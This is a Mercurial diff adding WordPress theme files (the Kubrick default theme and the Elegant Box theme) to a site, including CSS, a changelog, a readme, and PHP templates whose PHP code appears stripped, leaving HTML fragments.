    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/links.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/links.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,23 @@ + + + + +
    + +

    Links:

    +
      + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,30 @@ + + +
    + + +
    +

    +
    + Read the rest of this page »

    '); ?> + + '

    Pages: ', 'after' => '

    ', 'next_or_number' => 'number')); ?> + +
    +
    + + ', '

    '); ?> + + + +
    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,127 @@ +/* +Theme name: WordPress Default - kubrick - +Editors: Navid Kashani +Persian WordPress Project : wp-persian.com +*/ +body, .commentlist li, #commentform input, #commentform textarea, #commentform p, #sidebar, #wp-calendar caption { + font-family:tahoma, arial; +} +#page { + text-align:right; + direction:rtl; +} +h1, h2, h3, #sidebar h2 { + font-family:arial, tahoma; +} +.commentlist li .avatar { + float:left; +} + +.commentlist li { + padding: 5px 10px 10px 5px; + } +.commentlist li ul li { + margin-left: -5px; + margin-right: 10px; +} + +.commentlist p { + margin: 10px 0 10px 5px; +} +#header { + margin:0 1px 0 0; +} +.narrowcolumn { + float:right; + padding: 0 45px 20px 0; +} +.widecolumn { + margin: 5px 150px 0 0; +} +.widecolumn .smallattachment { + margin: 5px 0 5px 5px; +} +.postmetadata { + clear:right; +} +#sidebar { + margin-left: 0; + margin-right: 545px; +} +img.alignright { + margin: 0 7px 2px 0; +} + +img.alignleft { + margin: 0 0 2px 7px; +} + +.alignright { + float: left; +} + +.alignleft { + float: right; +} +code { + display:block; + direction:ltr; + text-align:left; +} +acronym, abbr, span.caps { + letter-spacing:0; /* fix opera bug */ +} +html>body .entry ul { + padding:0 10px 0 0; + text-indent:10px; +} +html>body .entry li { + margin: 7px 10px 8px 0; +} +.entry ol { + padding: 0 35px 0 0; +} +#sidebar ul ul, #sidebar ul ol { + margin: 5px 10px 0 0; +} +#sidebar ul ul ul, #sidebar ul ol { + margin: 0 10px 0 0; +} +#commentform { + margin: 5px 0 0 10px; + } +#commentform input { + margin: 5px 0 1px 5px; +} +#commentform #submit { + float:left; +} +.commentlist p { + margin: 10px 0 10px 5px; +} + +.children .even, .alt { + border-left: 0; + border-right: 1px solid #ddd; +} + +#wp-calendar #next a { + padding-right:0; + padding-left:10px; + text-align:left; +} +#wp-calendar #prev a { + padding-left:0; + padding-right:10px; + text-align:right; +} +blockquote { + margin: 15px 10px 0 30px; + padding-left: 0; + padding-right: 20px; + border-left: 0 none; + border-right: 5px solid #ddd; +} +#email, #url { + direction:ltr; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/screenshot.png Binary file web/wp-content/themes/default/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ + + +
    + + + +

    Search Results

    + + + + + + +
    > +

    + + + +
    + + + + + + + +

    No posts found. Try a different search?

    + + + + +
    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,83 @@ + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,73 @@ + + +
    + + + + + +
    id="post-"> +

    + +
    + Read the rest of this entry »

    '); ?> + + '

    Pages: ', 'after' => '

    ', 'next_or_number' => 'number')); ?> + Tags: ', ', ', '

    '); ?> + + + +
    +
    + + + + + +

    Sorry, no posts matched your criteria.

    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/default/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/default/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,718 @@ +/* +Theme Name: WordPress Default +Theme URI: http://wordpress.org/ +Description: The default WordPress theme based on the famous Kubrick. +Version: 1.6 +Author: Michael Heilemann +Author URI: http://binarybonsai.com/ +Tags: blue, custom header, fixed width, two columns, widgets + + Kubrick v1.5 + http://binarybonsai.com/kubrick/ + + This theme was designed and built by Michael Heilemann, + whose blog you will find at http://binarybonsai.com/ + + The CSS, XHTML and design is released under GPL: + http://www.opensource.org/licenses/gpl-license.php + +*/ + + + +/* Begin Typography & Colors */ +body { + font-size: 62.5%; /* Resets 1em to 10px */ + font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif; + background: #d5d6d7 url('images/kubrickbgcolor.jpg'); + color: #333; + text-align: center; + } + +#page { + background-color: white; + border: 1px solid #959596; + text-align: left; + } + +#header { + background: #73a0c5 url('images/kubrickheader.jpg') no-repeat bottom center; + } + +#headerimg { + margin: 7px 9px 0; + height: 192px; + width: 740px; + } + +#content { + font-size: 1.2em; + } + +.widecolumn .entry p { + font-size: 1.05em; + } + +.narrowcolumn .entry, .widecolumn .entry { + line-height: 1.4em; + } + +.widecolumn { + line-height: 1.6em; + } + +.narrowcolumn .postmetadata { + text-align: center; + } + +.thread-alt { + background-color: #f8f8f8; +} +.thread-even { + background-color: white; +} +.depth-1 { +border: 1px solid #ddd; +} + +.even, .alt { + + border-left: 1px solid #ddd; +} + +#footer { + background: #e7e7e7 url('images/kubrickfooter.jpg') no-repeat top; + border: none; + } + +small { + font-family: Arial, Helvetica, Sans-Serif; + font-size: 0.9em; + line-height: 1.5em; + } + +h1, h2, h3 { + font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif; + font-weight: bold; + } + +h1 { + font-size: 4em; + text-align: center; + } + +#headerimg .description { + font-size: 1.2em; + text-align: center; + } + +h2 { + font-size: 1.6em; + } + +h2.pagetitle { + font-size: 1.6em; + } + +#sidebar h2 { + font-family: 'Lucida Grande', Verdana, Sans-Serif; + font-size: 1.2em; + } + +h3 { + font-size: 1.3em; + } + +h1, h1 a, h1 a:hover, h1 a:visited, #headerimg .description { + text-decoration: none; + color: white; + } + +h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited { + color: #333; + } + +h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite { + text-decoration: none; + } + +.entry p a:visited { + color: #b85b5a; + } + +.sticky { + background: #f7f7f7; + padding: 0 10px 10px; + } +.sticky h2 { + padding-top: 10px; + } + +.commentlist li, #commentform input, #commentform textarea { + font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif; + } +.commentlist li ul li { + font-size: 1em; +} + +.commentlist li { + font-weight: bold; +} + +.commentlist li .avatar { + float: right; + border: 1px solid #eee; + padding: 2px; + background: #fff; + } + +.commentlist cite, .commentlist cite a { + font-weight: bold; + font-style: normal; + font-size: 1.1em; + } + +.commentlist p { + font-weight: normal; + line-height: 1.5em; + text-transform: none; + } + +#commentform p { + font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif; + } + +.commentmetadata { + font-weight: normal; + } + +#sidebar { + font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif; + } + +small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike { + color: #777; + } + +code { + font: 1.1em 'Courier New', Courier, Fixed; + } + +acronym, abbr, span.caps +{ + font-size: 0.9em; + letter-spacing: .07em; + } + +a, h2 a:hover, h3 a:hover { + color: #06c; + text-decoration: none; + } + +a:hover { + color: #147; + text-decoration: underline; + } + +#wp-calendar #prev a, #wp-calendar #next a { + font-size: 9pt; + } + +#wp-calendar a { + text-decoration: none; + } + +#wp-calendar caption { + font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif; + text-align: center; + } + +#wp-calendar th { + font-style: normal; + text-transform: capitalize; + } +/* End Typography & Colors */ + + + +/* Begin Structure */ +body { + margin: 0 0 20px 0; + padding: 0; + } + +#page { + background-color: white; + margin: 20px auto; + padding: 0; + width: 760px; + border: 1px solid #959596; + } + +#header { + background-color: #73a0c5; + margin: 0 0 0 1px; + padding: 0; + height: 200px; + width: 758px; + } + +#headerimg { + margin: 0; + height: 200px; + width: 100%; + } + +.narrowcolumn { + float: left; + padding: 0 0 20px 45px; + margin: 0px 0 0; + width: 450px; + } + +.widecolumn { + padding: 10px 0 20px 0; + margin: 5px 0 0 150px; + width: 450px; + } + +.post { + margin: 0 0 40px; + text-align: justify; + } + +.post hr { + display: block; + } + +.widecolumn .post { + margin: 0; + } + +.narrowcolumn .postmetadata { + padding-top: 5px; + } + +.widecolumn .postmetadata { + margin: 30px 0; + } + +.widecolumn .smallattachment { + text-align: center; + float: left; + width: 128px; + margin: 5px 5px 5px 0px; +} + +.widecolumn .attachment { + text-align: center; + margin: 5px 0px; +} + +.postmetadata { + clear: both; +} + +.clear { + clear: both; +} + +#footer { + padding: 0; + margin: 0 auto; + width: 760px; + clear: both; + } + +#footer p { + margin: 0; + padding: 20px 0; + text-align: center; + } +/* End Structure */ + + + +/* Begin Headers */ +h1 { + padding-top: 70px; + margin: 0; + } + +h2 { + margin: 30px 0 0; + } + +h2.pagetitle { + margin-top: 30px; + text-align: center; +} + +#sidebar h2 { + margin: 5px 0 0; + padding: 0; + } + +h3 { + padding: 0; + margin: 30px 0 0; + } + +h3.comments { + padding: 0; + margin: 40px auto 20px ; + } +/* End Headers */ + + + +/* Begin Images */ +p img { + padding: 0; + max-width: 100%; + } + +/* Using 'class="alignright"' on an image will (who would've + thought?!) align the image to the right. And using 'class="centered', + will of course center the image. This is much better than using + align="center", being much more futureproof (and valid) */ + +img.centered { + display: block; + margin-left: auto; + margin-right: auto; + } + +img.alignright { + padding: 4px; + margin: 0 0 2px 7px; + display: inline; + } + +img.alignleft { + padding: 4px; + margin: 0 7px 2px 0; + display: inline; + } + +.alignright { + float: right; + } + +.alignleft { + float: left; + } +/* End Images */ + + + +/* Begin Lists + + Special stylized non-IE bullets + Do not work in Internet Explorer, which merely default to normal bullets. */ + +html>body .entry ul { + margin-left: 0px; + padding: 0 0 0 30px; + list-style: none; + padding-left: 10px; + text-indent: -10px; + } + +html>body .entry li { + margin: 7px 0 8px 10px; + } + +.entry ul li:before, #sidebar ul ul li:before { + content: "\00BB \0020"; + } + +.entry ol { + padding: 0 0 0 35px; + margin: 0; + } + +.entry ol li { + margin: 0; + padding: 0; + } + +.postmetadata ul, .postmetadata li { + display: inline; + list-style-type: none; + list-style-image: none; + } + +#sidebar ul, #sidebar ul ol { + margin: 0; + padding: 0; + } + +#sidebar ul li { + list-style-type: none; + list-style-image: none; + margin-bottom: 15px; + } + +#sidebar ul p, #sidebar ul select { + margin: 5px 0 8px; + } + +#sidebar ul ul, #sidebar ul ol { + margin: 5px 0 0 10px; + } + +#sidebar ul ul ul, #sidebar ul ol { + margin: 0 0 0 10px; + } + +ol li, #sidebar ul ol li { + list-style: decimal outside; + } + +#sidebar ul ul li, #sidebar ul ol li { + margin: 3px 0 0; + padding: 0; + } +/* End Entry Lists */ + + + +/* Begin Form Elements */ +#searchform { + margin: 10px auto; + padding: 5px 3px; + text-align: center; + } + +#sidebar #searchform #s { + width: 108px; + padding: 2px; + } + +#sidebar #searchsubmit { + padding: 1px; + } + +.entry form { /* This is mainly for password protected posts, makes them look better. */ + text-align:center; + } + +select { + width: 130px; + } + +#commentform input { + width: 170px; + padding: 2px; + margin: 5px 5px 1px 0; + } + +#commentform { + margin: 5px 10px 0 0; + } +#commentform textarea { + width: 100%; + padding: 2px; + } +#respond:after { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden; + } +#commentform #submit { + margin: 0 0 5px auto; + float: right; + } +/* End Form Elements */ + + + +/* Begin Comments*/ +.alt { + margin: 0; + padding: 10px; + } + +.commentlist { + padding: 0; + text-align: justify; + } + +.commentlist li { + margin: 15px 0 10px; + padding: 5px 5px 10px 10px; + list-style: none; + + } +.commentlist li ul li { + margin-right: -5px; + margin-left: 10px; +} + +.commentlist p { + margin: 10px 5px 10px 0; +} +.children { padding: 0; } + +#commentform p { + margin: 5px 0; + } + +.nocomments { + text-align: center; + margin: 0; + padding: 0; + } + +.commentmetadata { + margin: 0; + display: block; + } +/* End Comments */ + + + +/* Begin Sidebar */ +#sidebar +{ + padding: 20px 0 10px 0; + margin-left: 545px; + width: 190px; + } + +#sidebar form { + margin: 0; + } +/* End Sidebar */ + + + +/* Begin Calendar */ +#wp-calendar { + empty-cells: show; + margin: 10px auto 0; + width: 155px; + } + +#wp-calendar #next a { + padding-right: 10px; + text-align: right; + } + +#wp-calendar #prev a { + padding-left: 10px; + text-align: left; + } + +#wp-calendar a { + display: block; + } + +#wp-calendar caption { + text-align: center; + width: 100%; + } + +#wp-calendar td { + padding: 3px 0; + text-align: center; + } + +#wp-calendar td.pad:hover { /* Doesn't work in IE */ + background-color: #fff; } +/* End Calendar */ + + + +/* Begin Various Tags & Classes */ +acronym, abbr, span.caps { + cursor: help; + } + +acronym, abbr { + border-bottom: 1px dashed #999; + } + +blockquote { + margin: 15px 30px 0 10px; + padding-left: 20px; + border-left: 5px solid #ddd; + } + +blockquote cite { + margin: 5px 0 0; + display: block; + } + +.center { + text-align: center; + } + +.hidden { + display: none; + } + +.screen-reader-text { + position: absolute; + left: -1000em; +} + +hr { + display: none; + } + +a img { + border: none; + } + +.navigation { + display: block; + text-align: center; + margin-top: 10px; + margin-bottom: 60px; + } +/* End Various Tags & Classes*/ + + + +/* Captions */ +.aligncenter, +div.aligncenter { + display: block; + margin-left: auto; + margin-right: auto; +} + +.wp-caption { + border: 1px solid #ddd; + text-align: center; + background-color: #f3f3f3; + padding-top: 4px; + margin: 10px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} + +.wp-caption img { + margin: 0; + padding: 0; + border: 0 none; +} + +.wp-caption p.wp-caption-text { + font-size: 11px; + line-height: 17px; + padding: 0 4px 5px; + margin: 0; +} +/* End captions */ + + +/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you. + It won't be a stylish marriage, I can't afford a carriage. + But you'll look sweet upon the seat of a bicycle built for two." */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,16 @@ + + +
    +
    + +
    +
    +
    + + + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/CHANGELOG.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/CHANGELOG.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ + VERSION DATE TYPE CHANGES + 4.1 2009/08/17 NEW Multi level menu is now supported. + NEW 'Quick Comments' plugin is now supported. + NEW Added 'web analytics' options. + NEW Added 'twitter' options. + NEW Added 'Add link' button in link template. + MODIFY Changed page width to 960px. + MODIFY Optimize SQL to select the copyright years. + MODIFY Change image captions of black style. + MODIFY Split links by category in links page (links.php). + MODIFY Changed layout of archive page and added excerpts to the archive items. + MODIFY Optimize JavaScript. + MODIFY Change the style of trackback box. + MODIFY Update Simplified Chinese translation. + FIX Fixed the thread comments that were diff layouts between IEs and other browsers. + FIX Changed the link of Youdao reader. + FIX Fixed style of bullet lists. + 4.0.1 2009/05/17 NEW Added Turkish language support. (Thanks Ali KARA) + MODIFY Updated Italian translation. + MODIFY Updated Lithuanian translation. + FIX Fixed table style of WP-Syntax plugin. + FIX Fixed 'sidebar being pushed down in IE6'. + FIX Fixed 404 page. + 4.0 2009/05/07 NEW Compatible with IE8. + NEW Added 'Submit comments with Ctrl+Enter' option. + NEW 'Mail To Commenter' plugin is now supported. (via '@+user+blank') + NEW Added style for tables. + NEW Added style for calendar widget. + NEW Added searchbox tip. + NEW Added tagline below blog title. + NEW Added Japanese language support. (Thanks ã‚’ã‹ã‚‚ã¨) + NEW Added Romanian language support. (Thanks Ryan) + NEW Added German language support. (Thanks Linsen Florian) + NEW Added Lithuania language support. (Thanks Mantas Malcius) + MODIFY Code optimization. + MODIFY Changed style of searchbox. + MODIFY Changed style of submenus. + MODIFY Changed style of box and related posts. + MODIFT Changed the item style in archive page and search page. + MODIFY Changed font default size to 12px When language code is zh_CN or zh_TW. + MODIFY Changed all the 'ID);' tag to comment from. + FIX Fixed style for trackbacks. + FIX Fixed 'Edit link'. + 3.2.2 2009/01/05 FIX Added 'rel="external nofollow"' tag to the comment links. + 3.2.1 2009/01/02 MODIFY Combine 'search.php' with 'archive.php'. + MODIFY Moved all the .mo files to 'languages' directory. + MODIFY Using conditional comments as CSS hack for IE6. + FIX Apply translations to 'Current Theme Options'. + FIX Submenu are disabled when remove navigation from header, this bug now fixed. + 3.2 2008/12/17 NEW Added brown style. (Thanks Bryan Varner) + NEW Added Russian language support. (Thanks Fafnir) + FIX Fixed REPLY and QUERY events in Opera Browsers. + FIX Fixed a weird problem when people updated to WordPress 2.7. + REMOVE Removed supported for 'SRG Clean Archives' plugin. + 3.1.1 2008/11/29 MODIFY Changed ' style for IE6. + 2.1.7 2008/10/06 NEW Created this CHANGLOG file. + NEW Added 'reply' and 'quote' button to all comments. + NEW Added 'Highslide4WP' plugin support. + MODIFY Adding 'HTTP://' to the feed URL. + FIX Repaired the 'NEW post' link. + FIX Fixed image left/right alignment in posts. + DELETE Removed 'Subscribe to Comments' plugin support. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/README.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/README.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,65 @@ +=== Elegant Box === +Contributors: mg12 +Donate link: http://www.neoease.com/themes/ +Tags: white, black, green, blue, purple, brown, two-columns, fixed-width, theme-options, right-sidebar, custom-colors, threaded-comments +Requires at least: 2.3 +Tested up to: 2.8.4 +Stable tag: 4.1.1 + +== Description == + +Elegant Box is my first experiment in WordPress theming. There are some ideas copy from other themes. +It's widget supported and you can master many styles in the WordPress admin. BTW, you can create a new style for this theme in easy way. +Compatible with WordPress 2.7, thread comments ready. + +Tested on WordPress 2.3.3/2.5.1/2.6.3/2.7.1/2.8.4, with IE 6/7/8, Firefox 2/3/3.5, Opera 9.6, Safari 4 and Chrome 2.0. +Valid XHTML 1.0 Transitional and CSS 3! +Best view under 1024×768 or greater. + +== Suggested Languages == + +US English/en_US (default) +简体中文/zh_CN (translate by mg12) +Russian/ru_RU (translate by [Fafnir](http://gnitaheid.ru/)) +Italian/it_IT (translate by [Gianni Diurno](http://gidibao.net/)) +Spanish/es_ES (translate by Eugenio Cavero & Michael) +Ukrainian/uk (translate by [Jurko Chervony](http://pavonine.com.ua/cat/themes/)) +日本語/ja (translate by [ã‚’ã‹ã‚‚ã¨](http://dogmap.jp/)) +Romanian/ro_RO (translate by [Ryan](http://www.ryan.ro/)) +German/de_DE (translate by [Linsen Florian](http://www.blumenversand-uebersicht.de/blumenblog/)) +Lithuania/lt_LT (translate by [Mantas Malcius](http://mantas.malcius.lt/)) +Türkçe/tr_TR (translate by [Ali KARA](http://www.alikara.net/)) + +== Suggested Plugins == + +WP-PageNavi: http://lesterchan.net/portfolio/programming.php +WP-PostViews: http://lesterchan.net/portfolio/programming.php +WP23 Related Posts: http://fairyfish.net/2007/09/12/wordpress-23-related-posts-plugin/ +WP-RecentComments: http://www.neoease.com/plugins/ +WP-MulticolLinks: http://www.neoease.com/plugins/ +WP-EasyArchives: http://www.neoease.com/plugins/ +Highslide4WP: http://www.neoease.com/plugins/ +WP-Syntax: http://wordpress.org/extend/plugins/wp-syntax/ +Mail To Commenter: http://www.thinkagain.cn/archives/989.html (via '@+user+blank') +Gravatar(WordPress 2.3 or lower): http://en.gravatar.com/site/implement/wordpress/ + +== Demo == + +http://demo.neoease.com/index.php?wptheme=Elegant+Box + +== Screenshots == + +1. White: http://www.flickr.com/photos/21673317@N02/2679802755/ +2. Black: http://www.flickr.com/photos/21673317@N02/2679804277/ +3. Green: http://www.flickr.com/photos/21673317@N02/2680623646/ +4. Blue: http://www.flickr.com/photos/21673317@N02/2680623982/ +5. Purple: http://www.flickr.com/photos/21673317@N02/2679803087/ +6. Brown: no screenshots. (made by (Bryan Varner)[http://www.woodworkingcheap.com/]) + +== Create a new style == + +1. create a new folder in '/elegantbox/style/' directory, named in English. +2. create and edit global.css file, the style will be applied anytime. +3. create and edit default.css file, it is enabled when people switch to this style. +4. some other files will be created in the new folder, maybe icons, cutsors, posters and flashes. + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,91 @@ + + + +
    + +
    +

    + +

    +
    +
    + + +
    + + +

    +
    +
    + +
    + | +
    +
    +
    + + +
    +
    + +
    +
    + + +
    +
    + +
    +
    + + + +
    + +
    +
    + + + + + + + + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,58 @@ + + + + + +
    +
    +

    +
    +
    +
    + ', ''); ?> + +
    +
    +
    + '; + wp_get_archives('type=monthly&show_post_count=1'); + echo ''; + } + ?> +
    +
    + + + + +
    +
    + +
    +
    + + +
    + + + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/chinese.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/chinese.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,34 @@ +small, +.small, +.button, +#header #tagline, +#navigation li, +#navigation li li a, +.post .comments, +.info, +#bottom, +#footer, +.userinfo .date, +.userinfo .count, +#submitbox, +#sidebar h3, +#style-text, +.more-link, +#respond .row, +#commentnavi, +a#cancel-comment-reply-link, +.post .info, +#navlist li li a, +.boxcaption h3, +#related_posts h3, +#wp-calendar caption, +#wp-calendar td#prev, +#wp-calendar td#next, +#trackbacks h3, +#trackbacks .actions { + font-size:12px; +} +#navigation li a { + padding:2px 5px 3px !important; + padding:2px 5px 4px; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,212 @@ + + +post_password) && $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) : ?> +
    +
    + +
    +
    + + + + + + +
      + comment_type == 'pingback' || $comment->comment_type == 'trackback') { + array_push($trackbacks, $comment); + } else { + custom_comments($comment, null, null); + echo ''; + } + } + } + ?> +
    + + + + +
    +
    + +
    + + +
    +
    +
    + + + + + +
    +
    +

    +
    + + +
    +
    +
    +
    +
      + +
    1. + + + + | + +
    2. + +
    +
    +
    + + + + + +
    +
    + +
    +
    + + + + +
    +
    + +
    +
    + + +
    +
    + + logged in to post a comment.', 'elegantbox'), $login_link); ?> +
    +
    + + +
    +
    + + +
    +
    + + +
    + . + +
    + + + + +
    + %s.', 'elegantbox'), $comment_author) ?> + + +
    + + +
    +
    + + +
    +
    + + +
    +
    + + +
    +
    + + + + + + +
    +
    + + + + + +
    +
    + + + +
    + +
    + + + + +
    + +
    + + + + + + +
    +
    + + ID); ?> +
    +
    + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,46 @@ +
    + +
    +
    +
    +
    + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,555 @@ +read())) { + if(is_dir($styleFolder . $styleFile) && $styleFile != '.' && $styleFile != '..') { + $styleArray[] = $styleFile; + } + } + $objStyleFolder->close(); +?> + +
    +
    +

    + + + + + + + + +
    + +
    + + +
    + + + + + + + + +
    + +
    + + +
    + name="cx" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4', 'elegantbox'); ?> +
    + + + + + + + + +
    + + +
    + + + + + + + + +
    + +
    + +
    + + + + +
    + + + + + + + + +
    + +
    + +
    + + + +
    + + + + +
    + + + +

    + + + +
    + + + + +
    + + + +
    + + + + + + + + +
    + + +
    + + + + + + + + +
    + +
    + + + + + + + + +
    + + + +
    + +
    + + + + + + + + +
    + +
    + + +
    + Follow NeoEase + | Follow MG12 +
    + + + + + + + + +
    + +
    + +
    + + +
    + +

    + +

    +
    + +
    + + +
    +
    + + + + + + + + +
    Donation + If you find my work useful and you want to encourage the development of more free resources, you can do it by donating... +
    + + + + +
    + +
    +
    + + '
  • ', + 'after_widget' => '
  • ', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); + +/** Comments */ +if (function_exists('wp_list_comments')) { + // comment count + function comment_count( $commentcount ) { + global $id; + $_comments = get_comments('status=approve&post_id=' . $id); + $comments_by_type = &separate_comments($_comments); + return count($comments_by_type['comment']); + } +} + +// custom comments +function custom_comments($comment, $args, $depth) { + $GLOBALS['comment'] = $comment; + global $commentcount; + if(!$commentcount) { + $commentcount = 0; + } +?> +
  • +
    + '; echo get_avatar($comment, 24); echo '
    '; + // WordPress 2.3.3 or lower + } else if (function_exists('gravatar')) { + echo '
    avatar
    '; + } + ?> +
    +
    + + + + + + + + + + + +
    +
    +
    +
    + + | + + $depth, 'max_depth'=> $args['max_depth'], 'reply_text' => __('Reply', 'elegantbox'), 'after' => ' | '));?> + + | + + +
    +
    + +
    + comment_approved == '0') : ?> +

    + + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,183 @@ + + + + + + + + + <?php bloginfo('name'); ?><?php wp_title(); ?> + + + + + + + + + + + + + + + + + + + + + +read())) { + if(is_dir($styleFolder . $styleFile) && $styleFile != '.' && $styleFile != '..') { + $styleArray[] = $styleFile; + } + } + $objStyleFolder->close(); + + // display other styles + if (is_array($styleArray)) { + foreach ($styleArray as $style) { + if($style != $options['style']) { +?> + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/ie.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/ie.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +pre { + word-wrap:break-word; /* Internet Explorer 5.5+ */ +} +#submitbox #submit { + cursor:hand; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/comment.png Binary file web/wp-content/themes/elegant-box/images/src/comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/feed.png Binary file web/wp-content/themes/elegant-box/images/src/feed.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/feed_switch.png Binary file web/wp-content/themes/elegant-box/images/src/feed_switch.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/go_top.png Binary file web/wp-content/themes/elegant-box/images/src/go_top.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/notice1.png Binary file web/wp-content/themes/elegant-box/images/src/notice1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/notice2.png Binary file web/wp-content/themes/elegant-box/images/src/notice2.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/notice3.png Binary file web/wp-content/themes/elegant-box/images/src/notice3.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/search.png Binary file web/wp-content/themes/elegant-box/images/src/search.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/src/twitter_switch.png Binary file web/wp-content/themes/elegant-box/images/src/twitter_switch.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/images/transparent.gif Binary file web/wp-content/themes/elegant-box/images/transparent.gif has 